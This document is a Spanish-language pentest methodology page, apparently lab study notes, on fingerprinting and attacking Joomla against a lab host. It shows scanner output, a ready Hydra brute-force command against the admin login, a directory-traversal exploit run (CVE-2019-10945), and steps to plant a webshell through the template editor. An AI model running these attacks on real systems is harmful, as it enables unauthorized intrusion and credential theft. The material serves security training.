Skip to content

Joomla — Discovery & Enumeration

Joomla es el segundo CMS más popular después de WordPress. Comparte varios patrones de enumeración (footprinting vía meta tags, archivos de versión, escáneres dedicados), pero tiene su propia estructura de directorios y superficie de ataque (componentes, configuration.php).

Distribución de versiones en uso (contexto)

Útil para calibrar qué tan probable es encontrar una versión desactualizada/vulnerable en un objetivo dado:

c
❯ curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
    "data": {
        "cms_version": {
            "3.0": 0,
            "3.1": 0,
            "3.10": 3.49,
            "3.2": 0.01,
            "3.3": 0.02,
            "3.4": 0.05,
            "3.5": 13,
            "3.6": 24.29,
            "3.7": 8.5,
            "3.8": 18.84,
            "3.9": 30.28,
            "4.0": 1.52,
            "4.1": 0
        },
        "total": 2776276
    }
}

Discovery / Footprinting

Confirmar Joomla vía el meta tag generator:

c
❯ curl -s http://dev.empresacorp.local/ | grep Joomla

	<meta name="generator" content="Joomla! - Open Source Content Management" />

robots.txt de Joomla revela la estructura estándar de directorios internos (útil incluso sin acceso, ya que confirma qué rutas existen):

c
User-agent: *
Disallow: /administrator/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/
  • Nota: si Joomla está instalado en un subdirectorio (/joomla/), el robots.txt debe estar en la raíz del sitio con las rutas prefijadas — su ausencia en la raíz no descarta Joomla instalado en un subdirectorio.

README.txt en la raíz suele confirmar la rama de versión (aunque no siempre la versión exacta):

c
❯ curl -s http://dev.empresacorp.local/README.txt | head -n 5

1- What is this?
	* This is a Joomla! installation/upgrade package to version 3.x
	* Joomla! Official site: https://www.joomla.org
	* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
	* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

El manifiesto de actualización revela la versión exacta instalada:

c
❯ curl -s http://dev.empresacorp.local/administrator/manifests/files/joomla.xml | xmllint --format -

<?xml version="1.0" encoding="UTF-8"?>
<extension version="3.6" type="file" method="upgrade">
  <name>files_joomla</name>
  <author>Joomla! Project</author>
  <authorEmail>admin@joomla.org</authorEmail>
  <authorUrl>www.joomla.org</authorUrl>
  <copyright>(C) 2005 - 2019 Open Source Matters. All rights reserved</copyright>
  <license>GNU General Public License version 2 or later; see LICENSE.txt</license>
  <version>3.9.4</version>
  <creationDate>March 2019</creationDate>
  
 <SNIP>

Enumeración automatizada

Droopescan

Aunque su nombre sugiere Drupal, droopescan también soporta Joomla (y Silverstripe):

c
❯ sudo pip3 install droopescan
c
❯ droopescan -h

usage: droopescan (sub-commands ...) [options ...] {arguments ...}

    |
 ___| ___  ___  ___  ___  ___  ___  ___  ___  ___
|   )|   )|   )|   )|   )|___)|___ |    |   )|   )
|__/ |    |__/ |__/ |__/ |__   __/ |__  |__/||  /
                    |
=================================================

commands:

  scan
    cms scanning functionality.

  stats
    shows scanner status & capabilities.

optional arguments:
  -h, --help  show this help message and exit
  --debug     toggle debug output
  --quiet     suppress all output

Example invocations: 
  droopescan scan drupal -u URL_HERE
  droopescan scan silverstripe -u URL_HERE
c
❯ droopescan scan joomla --url http://dev.empresacorp.local/

[+] Possible version(s):                                                        
    3.8.10
    3.8.11
    3.8.11-rc
    3.8.12
    3.8.12-rc
    3.8.13
    3.8.7
    3.8.7-rc
    3.8.8
    3.8.8-rc
    3.8.9
    3.8.9-rc

[+] Possible interesting urls found:
    Detailed version information. - http://dev.empresacorp.local/administrator/manifests/files/joomla.xml
    Login page. - http://dev.empresacorp.local/administrator/
    License file. - http://dev.empresacorp.local/LICENSE.txt
    Version attribute contains approx version - http://dev.empresacorp.local/plugins/system/cache/cache.xml

[+] Scan finished (0:00:01.523369 elapsed)

JoomlaScan / OWASP joomscan

Herramientas dedicadas a enumerar componentes instalados (com_*), que son la fuente más común de vulnerabilidades en Joomla (a diferencia del core, generalmente bien mantenido):

c
❯ python2.7 joomlascan.py -u http://dev.empresacorp.local

-------------------------------------------
      	     Joomla Scan                  
   Usage: python joomlascan.py <target>    
    Version 0.5beta - Database Entries 1233
         created by Andrea Draghetti       
-------------------------------------------
Robots file found: 	 	 > http://dev.empresacorp.local/robots.txt
No Error Log found

Start scan...with 10 concurrent threads!
Component found: com_actionlogs	 > http://dev.empresacorp.local/index.php?option=com_actionlogs
	 On the administrator components
Component found: com_admin	 > http://dev.empresacorp.local/index.php?option=com_admin
	 On the administrator components
Component found: com_ajax	 > http://dev.empresacorp.local/index.php?option=com_ajax
	 But possibly it is not active or protected
	 LICENSE file found 	 > http://dev.empresacorp.local/administrator/components/com_actionlogs/actionlogs.xml
	 LICENSE file found 	 > http://dev.empresacorp.local/administrator/components/com_admin/admin.xml
	 LICENSE file found 	 > http://dev.empresacorp.local/administrator/components/com_ajax/ajax.xml
	 Explorable Directory 	 > http://dev.empresacorp.local/components/com_actionlogs/
	 Explorable Directory 	 > http://dev.empresacorp.local/administrator/components/com_actionlogs/
	 Explorable Directory 	 > http://dev.empresacorp.local/components/com_admin/
	 Explorable Directory 	 > http://dev.empresacorp.local/administrator/components/com_admin/
Component found: com_banners	 > http://dev.empresacorp.local/index.php?option=com_banners
	 But possibly it is not active or protected
	 Explorable Directory 	 > http://dev.empresacorp.local/components/com_ajax/
	 Explorable Directory 	 > http://dev.empresacorp.local/administrator/components/com_ajax/
	 LICENSE file found 	 > http://dev.empresacorp.local/administrator/components/com_banners/banners.xml

<SNIP>
  • Los "Explorable Directory" (directorios sin protección de listado) son hallazgos de interés inmediato — pueden revelar archivos de configuración de ejemplo, backups, o logs de componentes.

Fuerza bruta de credenciales

c
❯ sudo python3 joomla-brute.py -u http://dev.empresacorp.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
 
admin:admin

Alternativa genérica con Hydra contra el formulario de login de /administrator/:

c
❯ hydra -l admin -P /usr/share/wordlists/rockyou.txt dev.empresacorp.local http-post-form "/administrator/index.php:username=^USER^&passwd=^PASS^&option=com_login&task=login:Username and password do not match"

Ataques a Joomla

Directory Traversal autenticado (CVE-2019-10945)

Afecta a Joomla Core 1.5.0 hasta 3.9.4; requiere credenciales de administrador válidas, pero permite navegar/eliminar archivos arbitrarios fuera del directorio esperado a través de la funcionalidad de gestión de medios:

c
❯ python2.7 joomla_dir_trav.py --url "http://dev.empresacorp.local/administrator/" --username admin --password admin --dir /
 
# Exploit Title: Joomla Core (1.5.0 through 3.9.4) - Directory Traversal && Authenticated Arbitrary File Deletion
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945    

administrator
bin
cache
cli
components
images
includes
language
layouts
libraries
media
modules
plugins
templates
tmp
LICENSE.txt
README.txt
configuration.php
htaccess.txt
index.php
robots.txt
web.config.txt
  • configuration.php en el listado es un objetivo de alto valor: contiene las credenciales de la base de datos en texto plano — si el traversal/eliminación permite además lectura (dependiendo de la variante exacta del exploit), es un hallazgo crítico.

Otras vías de RCE comunes en Joomla

Cuando se dispone de credenciales de administrador válidas, el panel permite editar plantillas (templates) PHP directamente desde la interfaz — una vía de RCE simple y siempre presente en instalaciones sin hardening adicional:

c
Administrator panel > Templates > [seleccionar plantilla activa] > Editar archivo .php > insertar webshell > Guardar
  • Equivalente al vector de "Theme Editor" de WordPress — cualquier CMS que permita editar código PHP desde el panel de administración ofrece este mismo camino directo a RCE una vez comprometidas las credenciales de admin.

Componentes vulnerables (com_*)

La mayoría de CVEs de Joomla en la práctica corresponden a componentes/extensiones de terceros, no al core. Tras identificar los componentes instalados (ver JoomlaScan arriba), buscar cada uno en bases de datos de exploits:

c
❯ searchsploit joomla com_

Notas de metodología

  • Priorizar la identificación de la versión exacta (vía joomla.xml) antes de intentar cualquier exploit específico de versión — muchos exploits públicos de Joomla son sensibles a variaciones menores de versión.
  • El panel /administrator/ es el objetivo principal para escalar de acceso no autenticado a RCE — cualquier hallazgo de credenciales (fuerza bruta, IDOR, archivos de backup expuestos) debe probarse ahí primero.